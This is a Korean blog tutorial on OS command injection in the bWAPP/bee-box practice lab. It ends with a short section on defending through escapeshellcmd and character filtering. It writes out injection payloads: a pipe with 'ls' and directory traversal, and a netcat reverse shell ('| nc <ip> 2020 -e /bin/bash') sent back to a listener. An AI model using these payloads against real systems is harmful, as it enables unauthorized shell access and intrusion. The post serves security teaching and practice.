관리 메뉴

FU11M00N

4-1. bee-box 를 사용하여 OS Command Injection 알아보기 본문

Web Hacking/bee-box

4-1. bee-box 를 사용하여 OS Command Injection 알아보기

호IT 2020. 3. 18. 18:22

OS 커맨드 인젝션(OS command injection)은 취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격입니다!

 

사진 1-1

OS 커맨드 인젝션의 공격 원리는 사진 1-1과 같습니다.

공격자가 서버에 악성코드를 심어놓으면 서버는 그 악성코드를 출력하는 형태입니다.

1. 레벨 low

사진 1-2

commandi.php의 사이트는 입력한 주소의 DNS 주소를 출력하는 것입니다.

DNS를 조회할 때에는 nslookup 명령어가 사용되며 

사진 1-3

|(파이프 라인)을 사용하여 ls를 하면 파일들이 모두 출력됩니다!!.

여기서 |(파이프 라인) 은 앞에서 실행한 명령어 출력 결과를 뒤에서 실행하는 명령어 입력값으로 처리합니다!

그러하여 리눅스의 명령어 특징을 사용하여 

| ls../../../ 이런식으로 상대 경로를 사용하여 가장 최상위 파일을 출력해보도록 하겠습니다. 

여기서 상대 경로란 ". "  은 현재 디렉터리를 가리키는 것이고 ".. " 은 상위 디렉터리를 가리키는 것입니다.

사진 1-4

저는 | ls../../../../../../../../ 사진과 같이../ 를 많이 입력하였는데 최상위 디렉터리에 도달하기 위해 얼마나 가야 할지 모를 때는 저런 식으로../ 를 많이 입력하면 좋습니다.(3개로 최상위가나 10개로 최상위로 가나 똑같기 때문!)

 

그럼 넷캣을 활용하여 비박스의 서버 내부 정보를 외부에서 파악할 수 있는지 실현해보겠습니다.

사진1-5

우선 칼리 리눅스를 들어가서 

사진 1-5처럼 nc -l -p 2020을 입력합니다. -l의 의미는 listen 모드로 nc를 띠우게 됩니다. 주로 nc(netcat)을 서버로 이용할 때 사용합니다. -p의 의미는 local-port를 지정하는 것입니다 주로 -l과 함께 사용되며 포트 2020은 임의로 제가 정한 포트 번호입니다!

 

그 후 bWAPP에 들어가서

사진 1-6


| nc 192.168.32.129 2020 -e /bin/bash를 사진과 같이 입력합니다 여기서 하나하나 해석해보자면

(192.168.32.129 = 칼리 리눅스의 IP주소, 2020 = 칼리 리눅스에서 입력한 포트번호, -e "/bin/bash" = 원격 접속하였을 때 실행할 디렉터리)입니다.

그 후 칼리 리눅스에 들어가

사진 1-7
사진 1-8

사진 1-7 , 사진 1-8과 같이 bWAPP 서버 내부에 접속하여 내부 파일을 볼 수 있습니다.

 

2. 레벨 High(대응방안)

 

 

사진 1-9

난이도 상에서는
| nc 192.168.32.129 2020 -e /bin/bash 명령어를 입력하여도 아무런 반응이 없습니다..

commandi.php 페이지의 소스코드를 보겠습니다!

 

사진 1-10

commandi.php 는 지금껏 해왔던 시큐어 코딩과는 다르게 commandi_check_2 함수를 사용하여 입력값을 우회하고 있는데요,

사진 1-11

commandi_check_2 함수는 functions_external.php 에 정의되어있고

escapeshellcmd 함수를 사용하고 있습니다. escapeshellcmd는 시스템 셸로 실행할 수 있는 특수 문자에 백 슬래시를 붙여 명령을 실행할 수 없도록 방어합니다. 사용하는 우회 문자는 #, & , l , ' , * 등이 내포되어있습니다.

서버에선 시스템 명령어를 외부에서 사용하지 못하도록 하는 게 가장 좋겠지만

어쩔 수 없는 상활일 땐  꼭 필요한 명령어를 제외한 & , ; , | 문자를 우회해야 합니다.

 

Reference by 비박스 환경을 활용한 웹 모의해킹 완벽실습


Comments